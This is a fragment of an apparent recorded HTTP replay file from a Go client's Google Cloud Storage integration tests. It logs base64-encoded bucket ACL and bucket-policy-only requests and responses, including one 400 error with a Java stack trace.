Y2tldFBvbGljeU9ubHkvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImJ1Y2tldFBvbGljeU9ubHkiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0MDA1NTE2MSIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDUG11NGJueC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvYnVja2V0UG9saWN5T25seS8xNTU2ODM1ODQwMDU1MTYxL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9idWNrZXRQb2xpY3lPbmx5L2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiYnVja2V0UG9saWN5T25seSIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODQwMDU1MTYxIiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ1BtdTRibngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2J1Y2tldFBvbGljeU9ubHkvMTU1NjgzNTg0MDA1NTE2MS9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vYnVja2V0UG9saWN5T25seS9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImJ1Y2tldFBvbGljeU9ubHkiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0MDA1NTE2MSIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDUG11NGJueC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvYnVja2V0UG9saWN5T25seS8xNTU2ODM1ODQwMDU1MTYxL3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9idWNrZXRQb2xpY3lPbmx5L2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiYnVja2V0UG9saWN5T25seSIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODQwMDU1MTYxIiwiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInJvbGUiOiJPV05FUiIsImVtYWlsIjoiYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJldGFnIjoiQ1BtdTRibngvZUVDRUFFPSJ9XSwib3duZXIiOnsiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSJ9LCJjcmMzMmMiOiJocUJ5d0E9PSIsImV0YWciOiJDUG11NGJueC9lRUNFQUU9In0=" - } - }, - { - "ID": "32d392d1da32f27b", - "Request": { - "Method": "PUT", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/bucketPolicyOnly/acl/user-test%40example.com?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "111" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJlbnRpdHkiOiJ1c2VyLXRlc3RAZXhhbXBsZS5jb20iLCJyb2xlIjoiUkVBREVSIn0K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "519" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:00 GMT" - ], - "Etag": [ - "CPmu4bnx/eECEAI=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uoau0xgFp6ib5wM0bBWjRlklvDRPOu0VZ-LFCeENUWXutmkXSfgUbtr2Nuefb7Pm_yLvCNqtB9B6k_N1V7AlvkN4_JEz67ZSXQ_sAD5L1teQIpGiqA" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvYnVja2V0UG9saWN5T25seS8xNTU2ODM1ODQwMDU1MTYxL3VzZXItdGVzdEBleGFtcGxlLmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2J1Y2tldFBvbGljeU9ubHkvYWNsL3VzZXItdGVzdEBleGFtcGxlLmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImJ1Y2tldFBvbGljeU9ubHkiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0MDA1NTE2MSIsImVudGl0eSI6InVzZXItdGVzdEBleGFtcGxlLmNvbSIsInJvbGUiOiJSRUFERVIiLCJlbWFpbCI6InRlc3RAZXhhbXBsZS5jb20iLCJldGFnIjoiQ1BtdTRibngvZUVDRUFJPSJ9" - } - }, - { - "ID": "6e3d0eda38a3ab6e", - "Request": { - "Method": "PATCH", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "59" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJpYW1Db25maWd1cmF0aW9uIjp7ImJ1Y2tldFBvbGljeU9ubHkiOnsiZW5hYmxlZCI6dHJ1ZX19fQo=" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "663" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:01 GMT" - ], - "Etag": [ - "CAU=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpSPFJHLzusxOr_OvhStJlWEpOs2EuthMO0Ys6pS9bsQeP0fthp_VUZfa8_sN8TX6PJYpxIdFlxB2QUaIujot1cUrssoU74XFrAwoqhlmiE5y9Aw-w" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjIzOjU0LjYxMFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDowMS4yNDJaIiwibWV0YWdlbmVyYXRpb24iOiI1IiwiaWFtQ29uZmlndXJhdGlvbiI6eyJidWNrZXRQb2xpY3lPbmx5Ijp7ImVuYWJsZWQiOnRydWUsImxvY2tlZFRpbWUiOiIyMDE5LTA3LTMxVDIyOjI0OjAxLjIzMFoifX0sImxvY2F0aW9uIjoiVVMiLCJ2ZXJzaW9uaW5nIjp7ImVuYWJsZWQiOmZhbHNlfSwibGlmZWN5Y2xlIjp7InJ1bGUiOlt7ImFjdGlvbiI6eyJ0eXBlIjoiRGVsZXRlIn0sImNvbmRpdGlvbiI6eyJhZ2UiOjMwfX1dfSwibGFiZWxzIjp7ImwxIjoidjIiLCJuZXciOiJuZXcifSwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJldGFnIjoiQ0FVPSJ9" - } - }, - { - "ID": "8f8dbb687dc49edb", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/acl?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 400, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "13230" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:01 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:01 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpGpW2zLlN7nAgV5IVkKU3kx4QWHCkzAgMa-QPC1PyCol8CP9W605bMUmFMeerbR4enzmeNMvtb4a2HzBPUZ296YfGdtkt_6Guq82E226xzC5TPq4w" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6ImludmFsaWQiLCJtZXNzYWdlIjoiQ2Fubm90IGdldCBsZWdhY3kgQUNMcyBmb3IgYSBidWNrZXQgdGhhdCBoYXMgZW5hYmxlZCBCdWNrZXQgUG9saWN5IE9ubHkuIFJlYWQgbW9yZSBhdCBodHRwczovL2Nsb3VkLmdvb2dsZS5jb20vc3RvcmFnZS9kb2NzL2J1Y2tldC1wb2xpY3ktb25seS4iLCJkZWJ1Z0luZm8iOiJjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6SU5WQUxJRF9SRVFVRVNUX0ZPUl9CVUNLRVRfUE9MSUNZX09OTFlfUkVTT1VSQ0U6IENhbm5vdCBnZXQgbGVnYWN5IEFDTHMgZm9yIGEgYnVja2V0IHRoYXQgaGFzIGVuYWJsZWQgQnVja2V0IFBvbGljeSBPbmx5LiBSZWFkIG1vcmUgYXQgaHR0cHM6Ly9jbG91ZC5nb29nbGUuY29tL3N0b3JhZ2UvZG9jcy9idWNrZXQtcG9saWN5LW9ubHkuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkxpc3RBY2xzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChMaXN0QWNscy5qYXZhOjEwMSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkxpc3RBY2xzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChMaXN0QWNscy5qYXZhOjI1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5BY2Nlc3NDb250cm9sc0RlbGVnYXRvci5saXN0KEFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmphdmE6ODkpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IENhbm5vdCBnZXQgbGVnYWN5IEFDTHMgZm9yIGEgYnVja2V0IHRoYXQgaGFzIGVuYWJsZWQgQnVja2V0IFBvbGljeSBPbmx5LiBSZWFkIG1vcmUgYXQgaHR0cHM6Ly9jbG91ZC5nb29nbGUuY29tL3N0b3JhZ2UvZG9jcy9idWNrZXQtcG9saWN5LW9ubHkuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRmF1bHQ6IEltbXV0YWJsZUVycm9yRGVmaW5pdGlvbntiYXNlPUlOVkFMSURfVkFMVUUsIGNhdGVnb3J5PVVTRVJfRVJST1IsIGNhdXNlPW51bGwsIGRlYnVnSW5mbz1jb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6SU5WQUxJRF9SRVFVRVNUX0ZPUl9CVUNLRVRfUE9MSUNZX09OTFlfUkVTT1VSQ0U6IENhbm5vdCBnZXQgbGVnYWN5IEFDTHMgZm9yIGEgYnVja2V0IHRoYXQgaGFzIGVuYWJsZWQgQnVja2V0IFBvbGljeSBPbmx5LiBSZWFkIG1vcmUgYXQgaHR0cHM6Ly9jbG91ZC5nb29nbGUuY29tL3N0b3JhZ2UvZG9jcy9idWNrZXQtcG9saWN5LW9ubHkuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkxpc3RBY2xzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChMaXN0QWNscy5qYXZhOjEwMSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkxpc3RBY2xzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChMaXN0QWNscy5qYXZhOjI1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5BY2Nlc3NDb250cm9sc0RlbGVnYXRvci5saXN0KEFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmphdmE6ODkpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IENhbm5vdCBnZXQgbGVnYWN5IEFDTHMgZm9yIGEgYnVja2V0IHRoYXQgaGFzIGVuYWJsZWQgQnVja2V0IFBvbGljeSBPbmx5LiBSZWFkIG1vcmUgYXQgaHR0cHM6Ly9jbG91ZC5nb29nbGUuY29tL3N0b3JhZ2UvZG9jcy9idWNrZXQtcG9saWN5LW9ubHkuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcbiwgZG9tYWluPWdsb2JhbCwgZXh0ZW5kZWRIZWxwPW51bGwsIGh0dHBIZWFkZXJzPXt9LCBodHRwU3RhdHVzPWJhZFJlcXVlc3QsIGludGVybmFsUmVhc29uPVJlYXNvbnthcmd1bWVudHM9e30sIGNhdXNlPW51bGwsIGNvZGU9Z2RhdGEuQ29yZUVycm9yRG9tYWluLklOVkFMSURfVkFMVUUsIGNyZWF0ZWRCeUJhY2tlbmQ9dHJ1ZSwgZGVidWdNZXNzYWdlPWNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpJTlZBTElEX1JFUVVFU1RfRk9SX0JVQ0tFVF9QT0xJQ1lfT05MWV9SRVNPVVJDRTogQ2Fubm90IGdldCBsZWdhY3kgQUNMcyBmb3IgYSBidWNrZXQgdGhhdCBoYXMgZW5hYmxlZCBCdWNrZXQgUG9saWN5IE9ubHkuIFJlYWQgbW9yZSBhdCBodHRwczovL2Nsb3VkLmdvb2dsZS5jb20vc3RvcmFnZS9kb2NzL2J1Y2tldC1wb2xpY3ktb25seS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuTGlzdEFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKExpc3RBY2xzLmphdmE6MTAxKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuTGlzdEFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKExpc3RBY2xzLmphdmE6MjUpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLkFjY2Vzc0NvbnRyb2xzRGVsZWdhd